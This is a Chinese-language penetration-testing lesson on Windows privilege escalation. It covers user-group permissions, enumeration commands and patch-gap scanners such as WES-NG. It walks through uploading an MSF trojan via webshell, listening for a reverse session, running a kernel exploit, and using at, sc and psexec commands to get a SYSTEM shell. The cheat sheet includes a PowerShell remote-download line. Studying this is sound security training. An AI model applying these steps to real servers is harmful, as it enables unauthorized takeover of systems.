59:权限提升-Win溢出漏洞及AT&SC&PS提权
思维导图
明确权限提升基础知识:权限划分
明确权限提升环境问题:web及本地
- web提权:已有网站权限(可以操作网站内容,但无法操作服务器),想要获得服务器权限,进而操作服务器。
- 本地提权:已有服务器普通用户权限,想要获得root权限。
明确权限提升方法针对:针对方法适应问题
明确权限提升针对版本:个人及服务器版本;针对方法;
知识点必备:
- 用户及用户组权限划分;Windows提权命令
windows权限认识(用户及用户组)
Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这些用户账户也将具备该组所拥有的权限。
0x01 普通权限
默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)。其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。
管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users) 经过ms验证程序登录的用户均属于此组。
0x02特殊权限
除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者) 等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
“所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。
被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。
但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。
无论是普通权限还是特殊权限,它们都可以“叠加”使用,“叠加”就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组再加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。
参考:https://blog.csdn.net/qq_17204441/article/details/89063095
Windows提权命令:
命令 //描述 systeminfo //打印系统信息 whoami //获得当前用户名 whoami /priv //当前账户权限 ipconfig //网络配置信息 ipconfig /displaydns //显示DNS缓存 route print //打印出路由表 arp -a //打印arp表 hostname //主机名 net user //列出用户 net user UserName //关于用户的信息 net user \SMBPATH Pa$$w0rd /u:UserName //连接SMB net localgroup //列出所有组 net localgroup GROUP //关于指定组的信息 net view \127.0.0.1 //会话打开到当前计算机 net session //开发给其他机器 netsh firewall show config //显示防火墙配置 DRIVERQUERY //列出安装的驱动 tasklist /svc //列出服务任务 net start //列出启动的服务 dir /s foo //在目录中搜索包含指定字符的项 dir /s foo == bar //同上 sc query //列出所有服务 sc qc ServiceName //找到指定服务的路径 shutdown /r /t 0 //立即重启 type file.txt //打印出内容 icacls "C:\Example" //列出权限 wmic qfe get Caption,Description,HotFixID,InstalledOn //列出已安装的补丁 (New-Object System.Net.WebClient) .DownloadFile("http://host/file"."C:\LocalPath") //利用ps远程下载文件到本地 accesschk.exe -qwsu "Group" //修改对象(尝试Everyone,Authenticated Users和/或Users)
案例1:基于Web环境下的权限提升-阿里云靶机(Windows2012)
知识点:
- 如何判断使用哪种溢出漏洞?漏洞哪里找?
- 信息收集-补丁筛选-利用MSF或特定EXP-执行-西瓜到手
- Vulmap,Wes,WindowsVulnScan对比,exp在哪里获取?
- MSF结合云服务器搭建组合拳?模拟上述操作实战演练?
1、信息收集
可以采用一些cmd命令,收集系统信息。比如
- whoami:获得当前用户名
- whoami /priv:当前账户权限
- systeminfo:查看系统打了哪些补丁
- net user:列出用户
- net user UserName:查看关于用户的信息
- net localgroup:列出所有组
- 等等
2、补丁筛选
Vulmap,Wes,WindowsVulnScan三种方法对比:
方法1:Vulmap
下载地址:https://github.com/vulmon/Vulmap
Vulmap是开源的在线本地漏洞扫描器项目。Vulmap需要在PS窗口运行,因此它只适用本地环境,不适用web环境。适用于 Windows 和 Linux 操作系统漏洞。但是它对Windows系统不太友好,更适配Linux系统。比如,下面在阿里云服务器测试,未检测出漏洞。
方法2:WES-NG
下载地址:https://github.com/bitsadmin/wesng
WES-NG是一种基于 Windows systeminfo 实用程序输出的工具,它提供操作系统易受攻击的漏洞列表,包括对这些漏洞的任何利用。适用于 Windows 操作系统。
wes.py 既适用本地环境,也适用web环境。因为它只需要我们在目标服务器执行systeminfo > 1.txt命令,拿到系统信息(主要是补丁信息)即可,然后我们可以把信息保存在 1.txt文件中,在本机运行wes.py进行测试即可。
下面命令会把漏洞详情保存在vuln.csv文件。
目标服务器执行命令:systeminfo > 1.txt 本机执行命令:python wes.py 1.txt -o vuln.csv
打开 vuln.csv查看详情
方法3:WindowsVulnScan
地址:https://github.com/chroblert/WindowsVulnScan
WindowsVulnScan根据软件的名称和版本号来确定是否有 CVE 和公开的 EXP。适用于 Windows 操作系统。
WindowsVulnScan 前期收集补丁信息时也需要在PS窗口运行,因此只适用于本地环境。但是我们也可以对其进行一些小的修改,让它可以用于web环境。所以也可以说它是一个通用方法。
比如第一步运行KBCollect.ps1收集补丁信息,会自动创建KB.json文件。
打开KB.json文件,我们看到其实这就是一些补丁信息,我们可以直接用systeminfo命令代替,然后将收集到的信息按照KB.json格式重新排列一下即可。
然后运行如下命令得到exp信息。
python cve-check.py -C -f KB.json
3、利用MSF或特定EXP提权
利用上述3种方法之一找出可利用的漏洞之后,我们可以利用msf或者特定exp进行测试。
首选msf工具,但是msf工具是隔一段时间更新一版,因此msf中的漏洞可能更新不及时,如果遇到了msf没有收录的漏洞,我们可以网上搜索特定的exp测试,比如GitHub上有人整理了很多exp,可以搜索一下。
- https://github.com/SecWiki/windows-kernel-exploits
- https://github.com/unamer/CVE-2018-8120
MSF结合云服务器搭建组合拳?模拟上述操作实战演练?
- 若要在实战中使用msf,最好买台服务器,不需要配置太好,2核4G即可,linux操作系统(Ubuntu更兼容),只安装msf,使用时用xshell连接即可。
- 云服务器上安装MSF环境:https://www.cnblogs.com/M0rta1s/p/11920903.html
msf提权演示案例:
<1>生成一个木马 exe文件
<2>通过webshell上传这个test.exe文件到服务器(test.exe可能会被服务器上的waf识别,所以实战中需要免杀)
<3>启动msf
<4>msf监听5566端口
<5>通过webshell执行这个test.exe文件
<6>监听到会话,如上上图所示(注意:阿里云服务器安全组默认没有开5566端口,所以我们需要手动打开)
<7>查看,拿到服务器的web权限
<8>接下来,我们需要进行web提权,搜索一个2016年的exp
<9>使用这个exp
<10>show options
<11>修改设置
<12>重新show options,显示修改成功
<13>继续修改设置,利用,成功获取到system权限,提权成功。
案例2:基于本地环境下的权限提升-系统溢出漏洞
使用特定EXP演示案例:
<1>whoami查看用户身份为普通用户
<2>利用CVE-2020-0787本地提权漏洞,在目标服务器执行BitsArbitraryFileMoveExploit.exe文件
<3>弹出cmd窗口,运行whoami,发现已经取得了system权限
案例3:基于本地环境下的权限提升-AT&SC&PS命令
AT&SC&PS命令适用环境?-->AT&SC&PS提权在内网使用比较多
1、AT提权
相关命令:
at 21:26 /interactive cmd.exe //给系统添加一项作业,在21:26打开cmd命令 at //查看作业详情 at /del //删除作业
只针对win7之前的老系统,下面我们在windows2003系统上测试
<1>使用at命令给系统添加一项作业,在特定时间打开cmd命令
<2>等到特定时间时,系统会弹出cmd窗口,运行whoami,发现已经取得了system权限,提权成功。
这是windows2003系统设计上的一个逻辑错误,就是计划任务在运行时会以system身份调用执行。所以弹出来的cmd窗口界面就会享有system权限。
2、SC提权
相关命令:
sc Create syscmd binPath = "cmd /k start" type= own type= interact sc start syscmd
网上说,可以针对win7/2k8,但是实操时并没成功。下面我们在windows2003系统上测试
<1>首先whoami查看用户身份为管理员
<2>使用sc命令创建一个服务,启动这个服务
<3>弹出cmd窗口,运行whoami,发现已经取得了system权限,提权成功。
3、PS提权
pstools是微软官方工具,是为windows提供的第三方工具库
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
相关命令:
psexec.exe -accepteula -s -i -d cmd.exe
windows2008系统测试
<1>执行PS命令会弹出一个新的cmd窗口
<2>运行whoami,发现已经取得了system权限,提权成功。
案例给到的思路总结如下:
1.提权方法有部分适用在不同环境,当然也有通用方法
2.提权方法也有操作系统版本区别,特性决定方法利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权等